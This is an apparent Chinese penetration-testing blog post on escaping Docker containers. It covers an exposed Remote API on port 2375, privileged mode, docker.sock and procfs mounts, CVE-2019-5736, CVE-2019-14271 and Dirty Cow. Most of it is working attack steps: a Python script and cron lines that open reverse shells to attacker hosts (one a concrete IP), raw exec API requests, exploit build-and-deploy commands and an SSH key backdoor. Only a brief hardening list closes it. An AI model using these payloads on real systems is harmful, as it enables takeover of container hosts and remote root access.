写点什么

基于网络安全的 Docker 逃逸

  • 2022-10-21
    湖南
  • 本文字数:6210 字

    阅读完需:约 1 分钟

如何判断当前机器是否为 Docker 容器环境

Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)

搭配学习教程

1. 检查根目录下是否存在.dockerenv 文件


2. 检查/proc/1/cgroup 是否存在还有 docker 字符串


cat /proc/1/cgroup
复制代码


【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

3. 检查是否存在 container 环境变量

通过 env\PATH 来检查是否有 docker 相关的环境变量,来进一步判断

4. 其他检测方式

如检测 mount、fdisk -l 查看硬盘、判断 PID 1 的进程名等也可用来辅助判断

Docker 逃逸方式

1. 危险的配置导致 Docker 逃逸

由于"纵深防御" 和 "最小权限"等理念和原则落地,越来越难以直接利用漏洞来进行利用。另一方面,公开的漏洞,安全运维人员能够及时将其修复,当然,不免存在漏网之鱼。相反,更多的是利用错误的、危险的配置来进行利用,不仅仅 Docker 逃逸,其他漏洞也是,比如生产环境开启 Debug 模式导致漏洞利用等等。

Docker 已经将容器运行时的 Capabilities 黑名单机制改为如今的默认禁止所有 Capabilities,再以白名单方式赋予容器运行所需的最小权限

docket remote api 未授权访问导致逃逸

docker swarm 是管理 docker 集群的工具。主从管理、默认通过 2375 端口通信。绑定了一个 Docker Remote API 的服务,可以通过 HTTP、Python、调用 API 来操作 Docker

Docker Remote API 的端口 2375 端口

访问http://your-ip:2375/version

火狐打开如下,证明存在未授权访问漏洞

在 kali 上开启 nc 监听本地端口,用来接收反弹 shell

反弹 Shell exp:

import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
复制代码

执行脚本,shell 会反弹到 kali 主机上

Github 上的 exp:https://github.com/Tycx2ry/docker_api_vul

另一种方式

首先访问http://your-ip:2375/version

访问http://ip:2375/containers/json

创建一个包,得到返回的 exec_id 的参数,数据包内容如下:

POST /containers/<container_id>/exec HTTP/1.1Host: <docker_host>:PORTContent-Type: application/jsonContent-Length: 188{“AttachStdin”: true,“AttachStdout”: true,“AttachStderr”: true,“Cmd”: [“cat”, “/etc/passwd”],“DetachKeys”: “ctrl-p,ctrl-q”,“Privileged”: true,“Tty”: true}
复制代码


注意其中的 cmd 字段,这个就是要执行的命令。

得到 exec_id 参数后构造第二个 exec_start 数据包,内容如下

POST /exec/<exec_id>/start HTTP/1.1Host: <docker_host>:PORTContent-Type: application/json{“Detach”: false,“Tty”: false}
复制代码


到此成功获取到 docker 主机的命令执行权限,但是还没有逃逸到宿主机

在 docker 容器中安装 docker 做为 client(kali 中有的话就不需要了)

apt-get install docker.io``yum -y install docker
复制代码

查看宿主机的 docker image 信息

docker -H tcp://宿主机ip:2375 images
复制代码

启动一个容器并且将宿主机的根目录装到容器内的某个目录

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash 
复制代码

上述命令的意思是将宿主机的根目录挂在到容器 adafef2e596e 的/test 目录下

写一个计划任务反弹 shell(或者写.ssh 公钥都 OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
复制代码

在 vps 上使用 nc 命令等待反弹过来的 shellnc -lvp 8888

Docker 高危启动参数–privileged 特权模式启动容器

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。

当操作者执行 docker run --privileged 时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。


特权模式启动一个 Ubuntu 容器:sudo docker run -itd --privileged ubuntu:latest /bin/bash

进入容器

使用 fdisk 命令查看磁盘文件:

fdisk -l


在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

mkdir /testmount /dev/vda1 /test
复制代码

新建一个目录:mkdir /test 挂载磁盘到新建目录:mount /dev/vda1 /test 切换根目录:chroot /test 到这里已经成功逃逸了,然后就是常规的反弹 shell 和 写 SSH 了(和 redis 未授权差不多)

写计划任务,反弹宿主机 Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要写 SSH 的话,需要挂载宿主机的 root 目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys然后 ssh 私钥登录。

其他参数: Docker 通过 Linux namespace 实现 6 项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN 启动时,允许执行 mount 特权操作,需获得资源挂载进行利用

--net=host 启动时,绕过 Network Namespace

--pid=host 启动时,绕过 PID Namespace

--ipc=host 启动时,绕过 IPC Namespace

2. 危险挂载导致 Docker 逃逸

挂载目录(-v /:/soft)

docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
复制代码

挂载 Docker Socket

Docker 采用 C/S 架构,我们平常使用的 Docker 命令中,docker 即为 client,Server 端的角色由 docker daemon 扮演,二者之间通信方式有以下 3 种:

  • unix:///var/run/docker.sock(默认

  • tcp://host:port

  • fd://socketfd

Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。

逃逸复现:

  1. 首先创建一个容器并挂载/var/run/docker.sock; docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

  2. 在该容器内安装 Docker 命令行客户端;

 apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg)| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/)\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
复制代码
  1. 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部;docker run -it -v /:/host ubuntu:18.04 /bin/bash

  2. 在新容器内执行 chroot 将根目录切换到挂载的宿主机根目录。 已成功逃逸到宿主机。


挂载宿主机 procfs

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
复制代码

为了区分,挂载到容器的/host/目录下

procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时

从 2.6.19 内核版本开始,Linux 支持在/proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

Docker 默认情况下不会为容器开启 User Namespace 根据参考资料 1,一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有。 一些细节原理看参考资料 1 哈,这里专注于利用。 复现:“在挂载 procfs 的容器内利用 core_pattern 后门实现逃逸“ 利用思路:攻击者进入到挂载了宿主机 profs 的容器,root 权限,然后向宿主机的 procfs 写 Payload

3. 程序漏洞导致 Docker 逃逸

runC 容器逃逸漏洞 CVE-2019-5736

漏洞简述:

Docker 18.09.2 之前的版本中使用了的 runc 版本小于 1.0-rc6,因此允许攻击者重写宿主机上的 runc 二进制文件,攻击者可以在宿主机上以 root 身份执行命令。

即通过在 docker 容器中重写和运行主机系统的 runc 二进制文件达到逃逸的目的 利用条件: Docker 版本 < 18.09.2,runc 版本< 1.0-rc6,一般情况下,可通过 docker 和 docker-runc 查看当前版本情况。

利用步骤:


版本合适的情况下去尝试

首先我们要有一个 docker 下的 shell,第二步利用脚本中的反弹 shell 命令,第三步使用 go build 来编译脚本,第四步将脚本上传到 docker 中,第五步等待宿主机执行 exec 进入当前 docker 容器的时候,宿主机就会向我们的 vps 反弹 root 权限的 shell

下载 pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitPoC 修改 Payloadvi main.go

选中部分修改\n 后面的命令为反弹 shell 命令即可payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

编译生成 payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go拷贝到 docker 容器中执行sudo docker cp ./main 248f8b7d3c45:/tmp

也可以先上传到 github 上,用 git clone 命令下载。或者上传到 vps 上,然后在 vps 上用 python 开启一个 http 服务,再用 wget 下载即可

执行此脚本,然后等待宿主机用户进入这个容器中

docker exec -it test /bin/bash

上面命令的含义是进入 test 这个容器,当宿主机上执行 exec 命令来进入我们运行了脚本的容器的时候,宿主机就会反弹 root 权限的 shell 给我们的 vps 的监听端口,至此利用结束。

如果没有人在宿主机执行的话是无法 docker 逃逸的

Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271

漏洞描述:

当 Docker 宿主机使用 cp 命令时,会调用辅助进程 docker-tar,该进程没有被容器化,且会在运行时动态加载一些 libnss.so 库。黑客可以通过在容器中替换 libnss.so 等库,将代码注入到 docker-tar 中。当 Docker 用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现 Docker 逃逸,获得宿主机 root 权限。 影响版本: Docker 19.03.0

漏洞原理

Copy 命令允许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和标准 Unix 的 cp 命令非常相似。如果从容器中复制/var/logs/,需要使用的语法为:

docker cp container_name:/var/logs /some/host/path.

把文件复制到容器外,docker 需要借助一个名为docker-tar的帮助进程

docker-tar的工作原理是对文件进行 chroot,将请求的文件和目录放在其中,然后将其生成的 tar 文件传递回 Docker 的守护程序,该守护程序负责将其提取到宿主机的目标目录中。

CHROOT就是Change Root,也就是改变程序执行时所参考的根目录位置

Docker-tar chroot 进入容器:

选择 chroot 的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件

有漏洞的版本使用 Go v1.11 编译而成的

这个版本中的一些包含嵌入式 C 语言代码的软件包(cgo)在运行时会加载动态共享库

这些软件包包括netos/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。

通常,这些库会从宿主机的文件系统中加载,但是由于docker-tarchroots到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有 root 能力,并且不会受到 cgroups 或 seccomp 的限制。

有一种可能的攻击场景,是 Docker 用户从以下任一用户的位置复制一些文件:

  1. 运行包含恶意libnss_*.so库中恶意映像的容器;

  2. 受到攻击的容器,且攻击者替换了其中的libnss_*.so

在这两种情况时,攻击者都可以在宿主机上实现 root 权限的任意代码执行。

利用思路

  1. 找出 docker-tar 具体会加载那些容器内的动态链接库

  2. 下载对应动态链接库源码,为其增加一个 attribute((constructor))属性的函数 run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link 函数会首先被执行),在 run_at_link 函数中放置我们希望 docker-tar 执行的攻击载荷(payload);编译生成动态链接文件

  3. 编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器,等待用户执行 docker cp 命令,触发漏洞

4. Dirty Cow 内核漏洞导致 Docker 逃逸

Dirty Cow(CVE-2016-5195)脏牛漏洞实现 Docker 逃逸

前置知识
  1. VDSO 其实就是将内核中的.so 文件映射到内存中,.so 文件是基于 Linux 下的动态链接,其功能和作用类似于 Windows 下的.dll 文件

  2. 在 Linux 中,有一个功能:VDSO(virtual dvnamic shared object),这是一个小型共享库,能够将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中,方便大家访问

Dirty cow 漏洞可以让我们获取只读内存的写的权限,我们首先利用 dirty cow 漏洞写入一段 shellcode 到 VDSO 映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段 shellcode。这段 shellcode 初始化的时候会检查是否被 root 调用,如果是则继续执行,如果不是,则接着执行 clock_gettime 函数,接下来它会检测/tmp/.X 文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell。

//这种利用方法利用成功的前提是,宿主机的内核有 Dirty Cow 漏洞

Dirty Cow(CVE-2016-5195)是 Linux 内核中的权限提升漏洞,通过它可实现 Docker 容器逃逸,获得 root 权限的 shell。

Docker 与 宿主机共享内核,因此容器需要在存在 dirtyCow 漏洞的宿主机里。

利用过程

下载脚本

git clone https://github.com/scumjr/dirtycow-vdso.gitcd /dirtycow-vdso/make
复制代码


./0xdeadbeef #反弹shell到本地主机./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
复制代码

利用结果

直接反弹宿主机的 shell 到 127.0.0.1

docker 逃逸成功

防止 docker 逃逸的方法

1、更新 Docker 版本到 19.03.1 及更高版本——CVE-2019-14271、覆盖 CVE-2019-5736

2、runc 版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux 内核版本>=2.6.22——CVE-2016-5195(脏牛)

5、Linux 内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到 docker 逃逸利用过程,但存在逃逸风险

6、不建议以 root 权限运行 Docker 服务

7、不建议以 privileged(特权模式)启动 Docker

8、不建议将宿主机目录挂载至容器目录

9、不建议将容器以—cap-add=SYSADMIN 启动,SYSADMIN 意为 container 进程允许执行 mount、umount 等一系列系统管理操作,存在容器逃逸风险


#总结 Docker 逃逸在渗透测试中面向的场景大概是这样,渗透拿到 shell 后,发现主机是 docker 环境,要进一步渗透,就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行 Docker 容器的情况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断当前环境是否为 docker 容器环境,其次通过几种方式进行 docker 逃逸

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
基于网络安全的Docker逃逸_黑客_网络安全学海_InfoQ写作社区